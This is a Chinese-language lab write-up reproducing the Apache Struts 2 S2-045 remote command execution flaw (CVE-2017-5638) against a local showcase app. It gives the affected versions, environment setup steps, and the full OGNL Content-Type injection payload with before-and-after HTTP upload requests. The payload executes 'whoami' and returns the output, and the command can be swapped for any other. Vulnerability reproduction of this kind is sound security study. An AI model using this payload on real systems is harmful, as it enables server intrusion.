Struts-2 S2-045

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一、參考網(wǎng)址：（視頻）

https://www.ichunqiu.com/course/57725

二、 影響版本：

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

三、 漏洞介紹：

Apache Struts 2被曝存在遠(yuǎn)程命令執(zhí)行漏洞，漏洞編號S2-045，CVE編號CVE-2017-5638，在使用基于Jakarta插件的文件上傳功能時，有可能存在遠(yuǎn)程命令執(zhí)行，導(dǎo)致系統(tǒng)被黑客入侵。
惡意用戶可在上傳文件時通過修改HTTP請求頭中的Content-Type值來觸發(fā)該漏洞，進而執(zhí)行系統(tǒng)命令。

四、 環(huán)境搭建：

• 參考網(wǎng)址：
  http://netsecurity.51cto.com/art/201707/544837.htm

• 下載/struts/2.3.24

下載地址：http://archive.apache.org/dist/struts/2.3.24/
百度云鏈接：鏈接：http://pan.baidu.com/s/1dFeUyNv 密碼：279t

• 下載安裝xampp

• 部署showcase

1.png

• 解壓

2.png

• 復(fù)制到

3.png

重啟tomcat

4.png

• 已成功自動部署

5.png

• 訪問http://127.0.0.1:8080/struts2-showcase/index.action

五、 POC:

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

六、 測試數(shù)據(jù)包：

原始http數(shù)據(jù)包為

POST /struts2-showcase/fileupload/doUpload.action;jsessionid=8B365C019F676093D27D8C0D21439C2B HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
Referer: http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B365C019F676093D27D8C0D21439C2B
Connection: close

------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="upload"; filename="2.txt"
Content-Type: text/plain

asd
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="caption"

1
------WebKitFormBoundaryXx80aU0pu6vrsV3z—

更改后為

POST /struts2-showcase/fileupload/doUpload.action;jsessionid=8B365C019F676093D27D8C0D21439C2B HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
Referer: http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B365C019F676093D27D8C0D21439C2B
Connection: close

------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="upload"; filename="2.txt"
Content-Type: text/plain

asd
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="caption"

1
------WebKitFormBoundaryXx80aU0pu6vrsV3z—

七、執(zhí)行結(jié)果

45-2.png

八、 至此，該漏洞基本利用完畢

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